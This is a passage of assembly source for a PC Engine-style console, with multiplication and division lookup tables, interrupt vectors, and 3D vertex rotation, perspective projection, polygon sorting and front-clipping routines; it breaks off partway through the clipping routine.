$0B+mul2datBank, $0B+mul2datBank, $0B+mul2datBank, $0B+mul2datBank,\
$0C+mul2datBank, $0C+mul2datBank, $0C+mul2datBank, $0C+mul2datBank,\
$0C+mul2datBank, $0C+mul2datBank, $0C+mul2datBank, $0C+mul2datBank,\
$0C+mul2datBank, $0C+mul2datBank, $0C+mul2datBank, $0C+mul2datBank,\
$0C+mul2datBank, $0C+mul2datBank, $0C+mul2datBank, $0C+mul2datBank,\
$0D+mul2datBank, $0D+mul2datBank, $0D+mul2datBank, $0D+mul2datBank,\
$0D+mul2datBank, $0D+mul2datBank, $0D+mul2datBank, $0D+mul2datBank,\
$0D+mul2datBank, $0D+mul2datBank, $0D+mul2datBank, $0D+mul2datBank,\
$0D+mul2datBank, $0D+mul2datBank, $0D+mul2datBank, $0D+mul2datBank,\
$0E+mul2datBank, $0E+mul2datBank, $0E+mul2datBank, $0E+mul2datBank,\
$0E+mul2datBank, $0E+mul2datBank, $0E+mul2datBank, $0E+mul2datBank,\
$0E+mul2datBank, $0E+mul2datBank, $0E+mul2datBank, $0E+mul2datBank,\
$0E+mul2datBank, $0E+mul2datBank, $0E+mul2datBank, $0E+mul2datBank,\
$0F+mul2datBank, $0F+mul2datBank, $0F+mul2datBank, $0F+mul2datBank,\
$0F+mul2datBank, $0F+mul2datBank, $0F+mul2datBank, $0F+mul2datBank,\
$0F+mul2datBank, $0F+mul2datBank, $0F+mul2datBank, $0F+mul2datBank,\
$0F+mul2datBank, $0F+mul2datBank, $0F+mul2datBank, $0F+mul2datBank
;----------------------------
mul2addrdata:
.db $40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E,\
$40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E,\
$40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E,\
$40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E,\
$40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E,\
$40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E,\
$40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E,\
$40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E,\
$40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E,\
$40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E,\
$40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E,\
$40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E,\
$40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E,\
$40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E,\
$40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E,\
$40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E
;----------------------------
divbankdata:
.db $00+divdatBank, $00+divdatBank, $00+divdatBank, $00+divdatBank,\
$00+divdatBank, $00+divdatBank, $00+divdatBank, $00+divdatBank,\
$00+divdatBank, $00+divdatBank, $00+divdatBank, $00+divdatBank,\
$00+divdatBank, $00+divdatBank, $00+divdatBank, $00+divdatBank,\
$00+divdatBank, $00+divdatBank, $00+divdatBank, $00+divdatBank,\
$00+divdatBank, $00+divdatBank, $00+divdatBank, $00+divdatBank,\
$00+divdatBank, $00+divdatBank, $00+divdatBank, $00+divdatBank,\
$00+divdatBank, $00+divdatBank, $00+divdatBank, $00+divdatBank
.db $01+divdatBank, $01+divdatBank, $01+divdatBank, $01+divdatBank,\
$01+divdatBank, $01+divdatBank, $01+divdatBank, $01+divdatBank,\
$01+divdatBank, $01+divdatBank, $01+divdatBank, $01+divdatBank,\
$01+divdatBank, $01+divdatBank, $01+divdatBank, $01+divdatBank,\
$01+divdatBank, $01+divdatBank, $01+divdatBank, $01+divdatBank,\
$01+divdatBank, $01+divdatBank, $01+divdatBank, $01+divdatBank,\
$01+divdatBank, $01+divdatBank, $01+divdatBank, $01+divdatBank,\
$01+divdatBank, $01+divdatBank, $01+divdatBank, $01+divdatBank
.db $02+divdatBank, $02+divdatBank, $02+divdatBank, $02+divdatBank,\
$02+divdatBank, $02+divdatBank, $02+divdatBank, $02+divdatBank,\
$02+divdatBank, $02+divdatBank, $02+divdatBank, $02+divdatBank,\
$02+divdatBank, $02+divdatBank, $02+divdatBank, $02+divdatBank,\
$02+divdatBank, $02+divdatBank, $02+divdatBank, $02+divdatBank,\
$02+divdatBank, $02+divdatBank, $02+divdatBank, $02+divdatBank,\
$02+divdatBank, $02+divdatBank, $02+divdatBank, $02+divdatBank,\
$02+divdatBank, $02+divdatBank, $02+divdatBank, $02+divdatBank
.db $03+divdatBank, $03+divdatBank, $03+divdatBank, $03+divdatBank,\
$03+divdatBank, $03+divdatBank, $03+divdatBank, $03+divdatBank,\
$03+divdatBank, $03+divdatBank, $03+divdatBank, $03+divdatBank,\
$03+divdatBank, $03+divdatBank, $03+divdatBank, $03+divdatBank,\
$03+divdatBank, $03+divdatBank, $03+divdatBank, $03+divdatBank,\
$03+divdatBank, $03+divdatBank, $03+divdatBank, $03+divdatBank,\
$03+divdatBank, $03+divdatBank, $03+divdatBank, $03+divdatBank,\
$03+divdatBank, $03+divdatBank, $03+divdatBank, $03+divdatBank
;----------------------------
mulbankdata:
.db $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04,\
$04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04,\
$05, $05, $05, $05, $05, $05, $05, $05, $05, $05, $05, $05, $05, $05, $05, $05,\
$05, $05, $05, $05, $05, $05, $05, $05, $05, $05, $05, $05, $05, $05, $05, $05,\
$06, $06, $06, $06, $06, $06, $06, $06, $06, $06, $06, $06, $06, $06, $06, $06,\
$06, $06, $06, $06, $06, $06, $06, $06, $06, $06, $06, $06, $06, $06, $06, $06,\
$07, $07, $07, $07, $07, $07, $07, $07, $07, $07, $07, $07, $07, $07, $07, $07,\
$07, $07, $07, $07, $07, $07, $07, $07, $07, $07, $07, $07, $07, $07, $07, $07,\
$08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08,\
$08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08,\
$09, $09, $09, $09, $09, $09, $09, $09, $09, $09, $09, $09, $09, $09, $09, $09,\
$09, $09, $09, $09, $09, $09, $09, $09, $09, $09, $09, $09, $09, $09, $09, $09,\
$0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A,\
$0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A,\
$0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B,\
$0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B
;----------------------------
muladdrdata:
.db $40, $41, $42, $43, $44, $45, $46, $47, $48, $49, $4A, $4B, $4C, $4D, $4E, $4F,\
$50, $51, $52, $53, $54, $55, $56, $57, $58, $59, $5A, $5B, $5C, $5D, $5E, $5F,\
$40, $41, $42, $43, $44, $45, $46, $47, $48, $49, $4A, $4B, $4C, $4D, $4E, $4F,\
$50, $51, $52, $53, $54, $55, $56, $57, $58, $59, $5A, $5B, $5C, $5D, $5E, $5F,\
$40, $41, $42, $43, $44, $45, $46, $47, $48, $49, $4A, $4B, $4C, $4D, $4E, $4F,\
$50, $51, $52, $53, $54, $55, $56, $57, $58, $59, $5A, $5B, $5C, $5D, $5E, $5F,\
$40, $41, $42, $43, $44, $45, $46, $47, $48, $49, $4A, $4B, $4C, $4D, $4E, $4F,\
$50, $51, $52, $53, $54, $55, $56, $57, $58, $59, $5A, $5B, $5C, $5D, $5E, $5F,\
$40, $41, $42, $43, $44, $45, $46, $47, $48, $49, $4A, $4B, $4C, $4D, $4E, $4F,\
$50, $51, $52, $53, $54, $55, $56, $57, $58, $59, $5A, $5B, $5C, $5D, $5E, $5F,\
$40, $41, $42, $43, $44, $45, $46, $47, $48, $49, $4A, $4B, $4C, $4D, $4E, $4F,\
$50, $51, $52, $53, $54, $55, $56, $57, $58, $59, $5A, $5B, $5C, $5D, $5E, $5F,\
$40, $41, $42, $43, $44, $45, $46, $47, $48, $49, $4A, $4B, $4C, $4D, $4E, $4F,\
$50, $51, $52, $53, $54, $55, $56, $57, $58, $59, $5A, $5B, $5C, $5D, $5E, $5F,\
$40, $41, $42, $43, $44, $45, $46, $47, $48, $49, $4A, $4B, $4C, $4D, $4E, $4F,\
$50, $51, $52, $53, $54, $55, $56, $57, $58, $59, $5A, $5B, $5C, $5D, $5E, $5F
;----------------------------
;interrupt vectors
.org $FFF6
.dw _irq2
.dw _irq1
.dw _timer
.dw _nmi
.dw _reset
;////////////////////////////
.bank 1
.org $A000
;----------------------------
initScreenVsync:
;VDC1
;bg sp vsync
;+32
mov VDC1_0, #$05
movw VDC1_2, #$08C8
;VDC2
;bg sp
;+32
mov VDC2_0, #$05
movw VDC2_2, #$0800
mov <selectVdc, #VDC2
rmb7 <vsyncFlag
rts
;----------------------------
waitScreenVsync:
.waitloop:
bbs7 <vsyncFlag, .waitloop
eorm <selectVdc, #$03
rts
;----------------------------
setScreenVsyncFlag:
smb7 <vsyncFlag
rts
;----------------------------
selectVertexRotation:
;
and #3
cmp #3
beq .rotationSelectJump2
cmp #1
beq .rotationSelectJump11
bcs .rotationSelectJump12
.rotationSelectJump10:
ldx <rotationX
jsr vertexRotationX
rts
.rotationSelectJump11:
ldx <rotationY
jsr vertexRotationY
rts
.rotationSelectJump12:
ldx <rotationZ
jsr vertexRotationZ
.rotationSelectJump2:
rts
;----------------------------
vertexRotationZ:
;x=xcosA-ysinA y=xsinA+ycosA z=z
;transform2DWork0 => transform2DWork0
;vertexCount = count
;x = angle
phx
phy
cpx #0
jeq .vertexRotationZEnd
lda <vertexCount
jeq .vertexRotationZEnd
lda sinDataLow,x ;sin
sta <vertexRotationSin
lda sinDataHigh,x
sta <vertexRotationSin+1
lda cosDataLow,x ;cos
sta <vertexRotationCos
lda cosDataHigh,x
sta <vertexRotationCos+1
ldx <vertexCount
cly
.vertexRotationZLoop:
;----------------
lda transform2DWork0, y ;X0
sta <mul16a
lda transform2DWork0+1, y
sta <mul16a+1
movw <mul16b, <vertexRotationCos ;cos
jsr smul16 ;xcosA
movq <div16ans, <mul16c
lda transform2DWork0+2, y ;Y0
sta <mul16a
lda transform2DWork0+3, y
sta <mul16a+1
movw <mul16b, <vertexRotationSin ;sin
jsr smul16 ;ysinA
subq <mul16c, <div16ans, <mul16c ;xcosA-ysinA
lda <mul16d+1
asl <mul16c+1
rol <mul16d
rol a
asl <mul16c+1
rol <mul16d
rol a
pha
lda <mul16d
pha
;----------------
lda transform2DWork0, y ;X0
sta <mul16a
lda transform2DWork0+1, y
sta <mul16a+1
movw <mul16b, <vertexRotationSin ;sin
jsr smul16 ;xsinA
movq <div16ans, <mul16c
lda transform2DWork0+2, y ;Y0
sta <mul16a
lda transform2DWork0+3, y
sta <mul16a+1
movw <mul16b, <vertexRotationCos ;cos
jsr smul16 ;ycosA
addq <mul16c, <div16ans, <mul16c ;xsinA+ycosA
lda <mul16d
asl <mul16c+1
rol a
rol <mul16d+1
asl <mul16c+1
rol a
rol <mul16d+1
sta transform2DWork0+2, y
lda <mul16d+1
sta transform2DWork0+3, y
;----------------
pla
sta transform2DWork0, y
pla
sta transform2DWork0+1, y
;----------------
lda intTable+6, y
tay
dex
jne .vertexRotationZLoop
.vertexRotationZEnd:
ply
plx
rts
;----------------------------
vertexRotationY:
;x=xcosA-zsinA y=y z=xsinA+zcosA
;transform2DWork0 => transform2DWork0
;vertexCount = count
;x = angle
phx
phy
cpx #0
jeq .vertexRotationYEnd
lda <vertexCount
jeq .vertexRotationYEnd
lda sinDataLow,x ;sin
sta <vertexRotationSin
lda sinDataHigh,x
sta <vertexRotationSin+1
lda cosDataLow,x ;cos
sta <vertexRotationCos
lda cosDataHigh,x
sta <vertexRotationCos+1
ldx <vertexCount
cly
.vertexRotationYLoop:
;----------------
lda transform2DWork0+4, y ;Z0
sta <mul16a
lda transform2DWork0+5, y
sta <mul16a+1
movw <mul16b, <vertexRotationSin ;sin
jsr smul16 ;zsinA
movq <div16ans, <mul16c
lda transform2DWork0, y ;X0
sta <mul16a
lda transform2DWork0+1, y
sta <mul16a+1
movw <mul16b, <vertexRotationCos ;cos
jsr smul16 ;xcosA
subq <mul16c, <mul16c, <div16ans ;xcosA-zsinA
lda <mul16d+1
asl <mul16c+1
rol <mul16d
rol a
asl <mul16c+1
rol <mul16d
rol a
pha
lda <mul16d
pha
;----------------------------
lda transform2DWork0+4, y ;Z0
sta <mul16a
lda transform2DWork0+5, y
sta <mul16a+1
movw <mul16b, <vertexRotationCos ;cos
jsr smul16 ;zcosA
movq <div16ans, <mul16c
lda transform2DWork0, y ;X0
sta <mul16a
lda transform2DWork0+1, y
sta <mul16a+1
movw <mul16b, <vertexRotationSin ;sin
jsr smul16 ;xsinA
addq <mul16c, <div16ans, <mul16c ;zcosA+xsinA
lda <mul16d
asl <mul16c+1
rol a
rol <mul16d+1
asl <mul16c+1
rol a
rol <mul16d+1
sta transform2DWork0+4, y
lda <mul16d+1
sta transform2DWork0+5, y
;----------------
pla
sta transform2DWork0, y
pla
sta transform2DWork0+1, y
;----------------
lda intTable+6, y
tay
dex
jne .vertexRotationYLoop
.vertexRotationYEnd:
ply
plx
rts
;----------------------------
vertexRotationX:
;x=x y=ycosA+zsinA z=-ysinA+zcosA
;transform2DWork0 => transform2DWork0
;vertexCount = count
;x = angle
phx
phy
cpx #0
jeq .vertexRotationXEnd
lda <vertexCount
jeq .vertexRotationXEnd
lda sinDataLow,x ;sin
sta <vertexRotationSin
lda sinDataHigh,x
sta <vertexRotationSin+1
lda cosDataLow,x ;cos
sta <vertexRotationCos
lda cosDataHigh,x
sta <vertexRotationCos+1
ldx <vertexCount
cly
.vertexRotationXLoop:
;----------------
lda transform2DWork0+2, y ;Y0
sta <mul16a
lda transform2DWork0+3, y
sta <mul16a+1
movw <mul16b, <vertexRotationCos ;cos
jsr smul16 ;ycosA
movq <div16ans, <mul16c
lda transform2DWork0+4, y ;Z0
sta <mul16a
lda transform2DWork0+5, y
sta <mul16a+1
movw <mul16b, <vertexRotationSin ;sin
jsr smul16 ;zsinA
addq <mul16c, <div16ans, <mul16c ;ycosA+zsinA
lda <mul16d+1
asl <mul16c+1
rol <mul16d
rol a
asl <mul16c+1
rol <mul16d
rol a
pha
lda <mul16d
pha
;----------------
lda transform2DWork0+2, y ;Y0
sta <mul16a
lda transform2DWork0+3, y
sta <mul16a+1
movw <mul16b, <vertexRotationSin ;sin
jsr smul16 ;ysinA
movq <div16ans, <mul16c
lda transform2DWork0+4, y ;Z0
sta <mul16a
lda transform2DWork0+5, y
sta <mul16a+1
movw <mul16b, <vertexRotationCos ;cos
jsr smul16 ;zcosA
subq <mul16c, <mul16c, <div16ans ;-ysinA+zcosA
lda <mul16d
asl <mul16c+1
rol a
rol <mul16d+1
asl <mul16c+1
rol a
rol <mul16d+1
sta transform2DWork0+4, y
lda <mul16d+1
sta transform2DWork0+5, y
;----------------
pla
sta transform2DWork0+2, y
pla
sta transform2DWork0+3, y
;----------------
lda intTable+6, y
tay
dex
jne .vertexRotationXLoop
.vertexRotationXEnd:
ply
plx
rts
;----------------------------
vertexTranslation2:
;
phy
lda <vertexCount
beq .vertexTranslation2End
sta <vertexCountWork
cly
.vertexTranslation2Loop:
clc
lda transform2DWork0, y
adc <translationX
sta transform2DWork0, y
lda transform2DWork0+1, y
adc <translationX+1
sta transform2DWork0+1, y
clc
lda transform2DWork0+2, y
adc <translationY
sta transform2DWork0+2, y
lda transform2DWork0+3, y
adc <translationY+1
sta transform2DWork0+3, y
clc
lda transform2DWork0+4, y
adc <translationZ
sta transform2DWork0+4, y
lda transform2DWork0+5, y
adc <translationZ+1
sta transform2DWork0+5, y
lda intTable+6, y
tay
dec <vertexCountWork
bne .vertexTranslation2Loop
.vertexTranslation2End:
ply
rts
;----------------------------
transform2D2:
;
phx
phy
ldx <vertexCount
cly
.transform2D2Loop0:
lda transform2DWork0, y
sta transform2DWork1, y
lda transform2DWork0+1, y
sta transform2DWork1+1, y
lda transform2DWork0+2, y
sta transform2DWork1+2, y
lda transform2DWork0+3, y
sta transform2DWork1+3, y
lda transform2DWork0+4, y
sta transform2DWork1+4, y
lda transform2DWork0+5, y
sta transform2DWork1+5, y
;Z0 < 128 check
sec
lda transform2DWork0+4, y ;Z0
sbc #128
lda transform2DWork0+5, y
sbc #00
bpl .transform2D2Jump05
jmp .transform2D2Jump00
.transform2D2Jump05:
;X0 to mul16c
lda transform2DWork0, y
sta <mul16c
lda transform2DWork0+1, y
sta <mul16c+1
;Z0 to mul16a
lda transform2DWork0+4, y
sta <mul16a
lda transform2DWork0+5, y
sta <mul16a+1
;X0*128/Z0
jsr transform2DProc
;X0*128/Z0+centerX
;mul16a+centerX to X0
clc
lda <mul16a
adc <centerX
sta transform2DWork0, y ;X0
lda <mul16a+1
adc <centerX+1
sta transform2DWork0+1, y
;Y0 to mul16c
lda transform2DWork0+2, y
sta <mul16c
lda transform2DWork0+3, y
sta <mul16c+1
;Z0 to mul16a
lda transform2DWork0+4, y
sta <mul16a
lda transform2DWork0+5, y
sta <mul16a+1
;Y0*128/Z0
jsr transform2DProc
;centerY-Y0*128/Z0
;centerY-mul16a to Y0
sec
lda <centerY
sbc <mul16a
sta transform2DWork0+2, y ;Y0
lda <centerY+1
sbc <mul16a+1
sta transform2DWork0+3, y
jmp .transform2D2Jump01
.transform2D2Jump00:
;Z0<128 flag set
lda #$00
sta transform2DWork0+4, y
lda #$80
sta transform2DWork0+5, y
.transform2D2Jump01:
lda intTable+6, y
tay
dex
jne .transform2D2Loop0
ply
plx
rts
;----------------------------
moveToTransform2DWork0:
;vertex0Addr to Transform2DWork0
phy
lda <vertexCount
beq .moveToTransform2DWork0End
sta <vertexCountWork
cly
.moveToTransform2DWork0Loop:
lda [vertex0Addr], y
sta transform2DWork0, y
iny
lda [vertex0Addr],y
sta transform2DWork0, y
iny
lda [vertex0Addr],y
sta transform2DWork0, y
iny
lda [vertex0Addr],y
sta transform2DWork0, y
iny
lda [vertex0Addr],y
sta transform2DWork0, y
iny
lda [vertex0Addr],y
sta transform2DWork0, y
iny
dec <vertexCountWork
bne .moveToTransform2DWork0Loop
.moveToTransform2DWork0End:
ply
rts
;----------------------------
putPolyBuffer:
;
phx
phy
movw <polyBufferAddr, polyBufferStart
.putPolyBufferLoop0:
ldy #4
lda [polyBufferAddr], y ;COLOR
bpl .polygonProc
;circle process
and #$7F
sta <polyLineColorNo
ldy #5
lda [polyBufferAddr], y ;RADIUS
stz <circleRadius+1
asl a
rol <circleRadius+1
sta <circleRadius
ldy #6
lda [polyBufferAddr], y ;X
sta <circleCenterX
ldy #7
lda [polyBufferAddr], y
sta <circleCenterX+1
ldy #8
lda [polyBufferAddr], y ;Y
sta <circleCenterY
ldy #9
lda [polyBufferAddr], y
sta <circleCenterY+1
jsr initCalcEdge
jsr calcCircle
jsr putPolyLine
bra .nextData
.polygonProc:
ldy #5
lda [polyBufferAddr], y ;COUNT
beq .putPolyBufferEnd
sta <clip2D0Count
pha
ldy #4
lda [polyBufferAddr], y ;COLOR
and #$7F
sta <polyLineColorNo
clx
ldy #6
.putPolyBufferLoop1:
lda [polyBufferAddr], y
sta clip2D0,x
inx
inx
iny
lda [polyBufferAddr], y
sta clip2D0,x
inx
inx
iny
dec <clip2D0Count
bne .putPolyBufferLoop1
pla
sta <clip2D0Count
jsr calcEdge_putPoly
.nextData:
ldy #0
lda [polyBufferAddr], y
tax
iny
lda [polyBufferAddr], y
sta <polyBufferAddr+1
stx <polyBufferAddr+0
bra .putPolyBufferLoop0
.putPolyBufferEnd:
ply
plx
rts
;----------------------------
setModel2:
;
;rotation
ldy #$05
lda [modelAddr], y ;vertex count
sta <vertexCount
ldy #$03
lda [modelAddr], y ;vertex data address
sta <vertex0Addr
ldy #$04
lda [modelAddr], y
sta <vertex0Addr+1
jsr moveToTransform2DWork0
lda <rotationSelect
and #3
jsr selectVertexRotation
lda <rotationSelect
lsr a
lsr a
and #3
jsr selectVertexRotation
lda <rotationSelect
lsr a
lsr a
lsr a
lsr a
and #3
jsr selectVertexRotation
;translation
subw <translationX, <eyeTranslationX
subw <translationY, <eyeTranslationY
subw <translationZ, <eyeTranslationZ
jsr vertexTranslation2
;eye rotation
mov <rotationX, <eyeRotationX
mov <rotationY, <eyeRotationY
mov <rotationZ, <eyeRotationZ
lda <eyeRotationSelect
and #3
jsr selectVertexRotation
lda <eyeRotationSelect
lsr a
lsr a
and #3
jsr selectVertexRotation
lda <eyeRotationSelect
lsr a
lsr a
lsr a
lsr a
and #3
jsr selectVertexRotation
;transform2D
jsr transform2D2
jsr setModelProc2
rts
;----------------------------
setModel:
;
;Rotation
ldy #$05
lda [modelAddr], y ;vertex count
sta <vertexCount
ldy #$03
lda [modelAddr], y ;vertex data address
sta <vertex0Addr
ldy #$04
lda [modelAddr], y
sta <vertex0Addr+1
movw <vertex1Addr, #transform2DWork0
jsr vertexMultiply
;translation
ldy #$05
lda [modelAddr], y ;vertex count
sta <vertexCount
movw <vertex0Addr, #transform2DWork0
movw <vertex1Addr, #transform2DWork1
jsr vertexTranslation
;transform2D
ldy #$05
lda [modelAddr], y ;vertex count
sta <vertexCount
movw <vertex0Addr, #transform2DWork1
movw <vertex1Addr, #transform2DWork0
jsr transform2D
jsr setModelProc
rts
;----------------------------
setModelProc2:
;
ldy #$00
lda [modelAddr], y
sta <modelAddrWork ;ModelData Polygon Addr
iny
lda [modelAddr], y
sta <modelAddrWork+1
ldy #$02
lda [modelAddr], y ;Polygon Count
sta <modelPolygonCount
cly
.setModelLoop3:
phy
lda [modelAddrWork], y ;ModelData Vertex Count, Front Color
and #$F8
lsr a
lsr a
sta <setModelFrontColor
lda [modelAddrWork], y ;ModelData Vertex Count, Front Color
and #$07
sta <setModelCount
cmp #$07
bne .polygonProc
;circle process
iny
lda [modelAddrWork], y ;radius
sta <setModelAttr
iny
lda [modelAddrWork], y
tax
lda transform2DWork0+5, x ;Z0<128 flag
jmi .setModelJump0
;SAMPLE Z
ldy #2
lda transform2DWork0+4, x
sta [polyBufferAddr], y
sta <mul16a
iny
lda transform2DWork0+5, x
sta [polyBufferAddr], y
sta <mul16a+1
lda <setModelAttr
sta <mul16c
stz <mul16c+1
jsr transform2DProc
lda <mul16a
jeq .setModelJump0
ldy #5
sta [polyBufferAddr], y ;radius
ldy #4
lda <setModelFrontColor
ora #$80
sta [polyBufferAddr], y ;COLOR
lda transform2DWork0+0, x
sta clip2D0
lda transform2DWork0+1, x
sta clip2D0+2
lda transform2DWork0+2, x
sta clip2D0+4
lda transform2DWork0+3, x
sta clip2D0+6
mov <clip2D0Count, #2
jmp .setBuffer
.polygonProc:
;push setModelCount for initialize front clip calculation
pha
iny
lda [modelAddrWork], y ;ModelData Polygon Attr, Back Color
sta <setModelAttr
and #$F8
lsr a
lsr a
sta <setModelBackColor
iny
lda [modelAddrWork], y
sta <frontClipDataWork
stz <model2DClipIndexWork
stz <frontClipCount
stz <polyBufferZ0Work0
stz <polyBufferZ0Work0+1
;push ModelData index for initialize front clip calculation
phy
;check front clip
.setModelLoop5:
lda [modelAddrWork], y
tax
lda transform2DWork0+5, x ;Z0<128 flag
bmi .setModelJump7
phy
ldy <model2DClipIndexWork
lda transform2DWork0, x
sta clip2D0, y
iny
lda transform2DWork0+1, x
sta clip2D0, y
iny
lda transform2DWork0+2, x
sta clip2D0, y
iny
lda transform2DWork0+3, x
sta clip2D0, y
iny
;check Z sample
sec
lda <polyBufferZ0Work0
sbc transform2DWork0+4, x
lda <polyBufferZ0Work0+1
sbc transform2DWork0+5, x
bpl .setModelJump9
lda transform2DWork0+4, x
sta <polyBufferZ0Work0
lda transform2DWork0+5, x
sta <polyBufferZ0Work0+1
.setModelJump9:
sty <model2DClipIndexWork
ply
iny
dec <setModelCount
bne .setModelLoop5
ply
pla
bra .setModelJump8
;initialize front clip calculation
.setModelJump7:
ply
pla
dec a
sta <setModelCount
stz <model2DClipIndexWork
stz <polyBufferZ0Work0
stz <polyBufferZ0Work0+1
;cancel front clip calculation
bbr2 <setModelAttr, .setModelLoop4
jmp .setModelJump0
;front clip calculation
.setModelLoop4:
lda [modelAddrWork], y
sta <frontClipData0
iny
lda [modelAddrWork], y
sta <frontClipData1
phy
jsr clipFront
ply
dec <setModelCount
bne .setModelLoop4
;--------
lda [modelAddrWork], y
sta <frontClipData0
lda <frontClipDataWork
sta <frontClipData1
jsr clipFront
lda <frontClipCount
jeq .setModelJump0
.setModelJump8:
sta <clip2D0Count
jsr clip2D
jeq .setModelJump0
;cancel back side check
bbs1 <setModelAttr, .setModelJump2
;back side check
sec
lda clip2D0+8 ;X2
sbc clip2D0+4 ;X1
sta <mul16a
cla
sbc #0
sta <mul16a+1
sec
lda clip2D0+2 ;Y0
sbc clip2D0+6 ;Y1
sta <mul16b
cla
sbc #0
sta <mul16b+1
jsr smul16
movq <div16ans, <mul16c
sec
lda clip2D0+10 ;Y2
sbc clip2D0+6 ;Y1
sta <mul16a
cla
sbc #0
sta <mul16a+1
sec
lda clip2D0 ;X0
sbc clip2D0+4 ;X1
sta <mul16b
cla
sbc #0
sta <mul16b+1
jsr smul16
cmpq2 <div16ans, <mul16c
bpl .setModelJump2
;back side
bbr0 <setModelAttr, .setModelJump6
jmp .setModelJump0
.setModelJump6:
lda <setModelBackColor
bra .setModelJump5
.setModelJump2:
;front side
lda <setModelFrontColor
.setModelJump5:
ldy #4
sta [polyBufferAddr], y ;COLOR
lda <clip2D0Count
ldy #5
sta [polyBufferAddr], y ;COUNT
;SAMPLE Z
ldy #2
lda <polyBufferZ0Work0 ;SAMPLE Z
sta [polyBufferAddr], y
iny
lda <polyBufferZ0Work0+1
sta [polyBufferAddr], y
;set buffer
.setBuffer:
movw <polyBufferNow, #polyBufferStart
.setBufferLoop:
ldy #0 ;NEXT ADDR
lda [polyBufferNow], y
sta <polyBufferNext
iny
lda [polyBufferNow], y
sta <polyBufferNext+1
ldy #2 ;NEXT SAMPLE Z
lda [polyBufferNext], y
sta <polyBufferZ0Work0
iny
lda [polyBufferNext], y
sta <polyBufferZ0Work0+1
ldy #2 ;SAMPLE Z
sec
lda [polyBufferAddr], y
sbc <polyBufferZ0Work0
iny
lda [polyBufferAddr], y
sbc <polyBufferZ0Work0+1
bpl .setBufferJump ;SAMPLE Z >= NEXT SAMPLE Z
movw <polyBufferNow, <polyBufferNext
bra .setBufferLoop
.setBufferJump:
ldy #0 ;BUFFER -> NEXT
lda <polyBufferNext
sta [polyBufferAddr], y
iny
lda <polyBufferNext+1
sta [polyBufferAddr], y
ldy #0 ;NOW -> BUFFER
lda <polyBufferAddr
sta [polyBufferNow], y
iny
lda <polyBufferAddr+1
sta [polyBufferNow], y
;set data
clx
ldy #6
.setModelLoop2:
lda clip2D0,x
sta [polyBufferAddr], y
inx
inx
iny
lda clip2D0,x
sta [polyBufferAddr], y
inx
inx
iny
dec <clip2D0Count
bne .setModelLoop2
;next buffer addr
clc
tya
adc <polyBufferAddr
sta <polyBufferAddr
bcc .setModelJump0
inc <polyBufferAddr+1
.setModelJump0:
plx
ldy intTable+6, x
dec <modelPolygonCount
jne .setModelLoop3
rts
;----------------------------
clipFront:
ldx <frontClipData0
ldy <frontClipData1
lda transform2DWork0+5, x ;Z0<128 flag
and #$80
lsr a
sta <frontClipFlag
lda transform2DWork0+5, y ;Z0<128 flag
and #$80
ora <frontClipFlag
sta <frontClipFlag
jeq .clipFrontJump8
cmp #$C0
jeq .clipFrontJump9
;clip front
;(128-Z0) to mul16a
sec
lda #128
sbc transform2DWork1+4, x
sta <mul16a
lda #0
sbc transform2DWork1+5, x
sta <mul16a+1
;(X1-X0) to mul16b
sec
lda transform2DWork1+0, y
sbc transform2DWork1+0, x
sta <mul16b
lda transform2DWork1+1, y
sbc transform2DWork1+1, x
sta <mul16b+1
;(128-Z0)*(X1-X0) to mul16d:mul16c
jsr smul16
;(Z1-Z0) to mul16a
sec
lda transform2DWork1+4, y
sbc transform2DWork1+4, x
sta <mul16a
lda transform2DWork1+5, y
sbc transform2DWork1+5, x
sta <mul16a+1
;(128-Z0)*(X1-X0)/(Z1-Z0)
jsr sdiv32
;(128-Z0)*(X1-X0)/(Z1-Z0)+X0
clc
lda <mul16a
adc transform2DWork1+0, x
sta <mul16a
lda <mul16a+1
adc transform2DWork1+1, x
sta <mul16a+1
;mul16a+centerX
addw <clipFrontX, <mul16a, <centerX
;(128-Z0) to mul16a
sec
lda #128
sbc transform2DWork1+4, x
sta <mul16a
lda #0
sbc transform2DWork1+5, x
sta <mul16a+1
;(Y1-Y0) to mul16b
sec
lda transform2DWork1+2, y
sbc transform2DWork1+2, x
sta <mul16b
lda transform2DWork1+3, y
sbc transform2DWork1+3, x
sta <mul16b+1
